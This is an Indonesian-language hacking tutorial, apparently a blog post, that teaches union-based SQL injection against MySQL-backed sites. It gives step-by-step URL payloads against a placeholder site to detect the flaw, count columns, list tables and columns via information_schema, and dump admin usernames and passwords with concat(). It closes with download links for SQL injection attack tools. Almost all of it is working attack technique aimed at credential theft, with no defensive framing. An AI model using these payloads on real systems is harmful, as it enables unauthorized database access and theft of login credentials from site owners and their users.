Apa itu SQL Injection?
SQL Injection merupakan sebuah teknik hacking dimana
seorang penyerang dapat meng insert perintah-perintah SQL
melalui url untuk dieksekusi oleh database.
Penyebab utama dari celah ini adalah variable yang kurang
di filter
Got Error, Hal pertama yang harus kamu lakukan adalah mengetahui
apakah situs tersebut terkena celah SQL Injection atau
tidak, yaitu dengan membuat sebuah error dengan menambahkan
karakter ‘ setelah url.
Example : http://situsq.com/berita.php?id=14’
Apabila terlihat pesan error seperti ini :
You have an error in your SQL syntax.You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right syntax to use near ”’
at line 1, Maka bisa dipastikan situs tersebut terdapat celah SQL
Injection…
Next Step
Nah setelah mengetahui bahwa di situs tersebut terdapat
celah SQL Injection maka yang harus kamu lakukan
selanjutnya adalah menghitung jumlah table yang ada di
dalam databasenya caranya dengan perintah “order by”
Example : http://situsq.com/berita.php?id=-14+order+by+10/*
Uuppss… mengapa “-14”? karena -14 bukanlah id berita yang
valid… trus 10, angka buat apaan tuh? Hhmm… untuk
mengetahui jumlah tabelnya pertama-tama kita harus menebak
terlebih dahulu apabila muncul pesan error seperti ini :
Unknown column ‘10′ in ‘order clause’
berarti jumlah tebakan kita salah, but klo situsnya muncul
seperti biasa berarti jumlah tebakan kita sudah benar :D…
trus karakter “+” dan “/*” gunanya buat apa?
+ <=- sebagai penghubung perintah
Atau dapat juga diganti dengan :
/**/
%20, Sedangkan karakter “/*” adalah karakter penutup perintah
sql atau dapat juga diganti dengan :
–
Nah klo semuanya udah jelas sekarang kita lanjut pake
union…
buat mengetahui angka berapa yang show
Example : http://situsq.com/berita.php?id=-
14+union+select+1,2,3,4,5,6,7,8,9,10/*, Nah apabila muncul angka yang tadinya gak ada dihalaman
tersebut berarti itulah angka yang show… nah angka yang
show itulah yang nantinya bakalan kita injek, pertama kita cari tau version mysql yang dia pake,
apabila tadi yang muncul adalah angka 4 maka kita akan pake
angka 4
Example : http://situsq.com/berita.php?id=-
14+union+select+1,2,3,version(),5,6,7,8,9,10/*
Nah klo misalnya yang keluar ada angka 5 berarti situs
tersebut memakai database versi 5… nah klo udah tau
versinya sekarang kita cari tahu nama databasenya caranya
cukup ganti “version()” tadi dengan “database()”…
Next
seumpamanya tadi versi 5 berarti kita bisa pake perintah
information_schema untuk melihat tabel & kolom yang ada di
dalam databasenya.
Example : http://situsq.com/berita.php?id=-
14+union+select+1,2,3,table_name,5,6,7,8,9,10+from+informat
ion_schema.tables/*
Selanjutnya kita harus menambahkan LIMIT di akhir url untuk
melihat tabel-tabel yang lainnya…
Example : http://situsq.com/berita.php?id=-
14+union+select+1,2,3,table_name,5,6,7,8,9,10+from+informat
ion_schema.tables+limit+0,1/*
Selanjutnya kamu tinggal merubah angka 0,1 menjadi 1,1 dan
2,1 begitu seterusnya sampai kamu menemukan tabel-tabel
penting yang ada dalam database seperti “tbl_admin,
tbl_user, users dll”…
kalau sudah keliatan semua s’lanjutnya
kita akan melihat kolom-kolom yang ada dalam tabel yang
kita dapatkan tadi caranya hampir sama dengan cara mencari
tabel tadi.
Example : http://situsq.com/berita.php?id=-
14+union+select+1,2,3,column_name,5,6,7,8,9,10+from+informa
tion_schema.columns/*
Setelah itu mmenggunakan limit 0,1 dan seterusnya
Example : http://situsq.com/berita.php?id=-
14+union+select+1,2,3,column_name,5,6,7,8,9,10+from+informa
tion_schema.columns+limit+0,1/*
Sehingga kita menemukan kolom-kolom seperti
“username,password,email dll” atau kamu bisa mencari tabel
user dengan menambahkan perintah where table_name=’user’/*
Example : http://situsq.com/berita.php?id=-
14+union+select+1,2,3,column_name,5,6,7,8,9,10+from+informa
tion_schema.columns+where+table_name=’user’/*
Biasanya untuk lebih memudahkan menemukan tabel dan kolom
saya sering menggunakan sebuah tool yang bernama
schemafuzz.py tetapi setidaknya kamu harus mengerti cara
diatas terlebih dahulu karena tool disini hanya alat Bantu
saja…
Got Password
Nah,,, disinilah inti dari SQL Injection… yaitu mendapatkan
password admin… apabila tadi kamu telah menemukan tabel
admin yang bernama “tbl_admin” dan kolom-kolomnya seperti
“username,password” dll sekarang untuk melihat isi dari
kolom username dan password tersebut kamu akan menggunakan
concat.
Example : http://situsq.com/berita.php?id=-
14+union+select+1,2,3,concat(username,0x3a,password)
,5,6,7,8,9,10+from+tbl_admin/*
0x3a <=- adalah pemisah kolom username dan password agar
dapat dibedakan yang mana password dan yang mana username
atau dapat juga diganti dengan char(58).
Sekarang dah dapat passwordnya??? Tunggu apalagi?? Lapor
ama admin… xixixixi
SQL Injection Tools
Untuk mempermudah proses SQL Injection kamu dapat
menggunakan beberapa tools seperti dibawah ini :
SQLNinja
http://rapidshare.com/files/141976022/sqlninja-0.2.3.tgz
Schemafuzz
http://rapidshare.com/files/141977412/schemafuzz.py
SQLDataExt
http://rapidshare.com/files/141977790/dataext.pl
SQL Power Injection
http://rapidshare.com/files/141978979/sqlpowerinjector.xpi
Blindfuzz
http://rapidshare.com/files/141979105/blindfuzz.py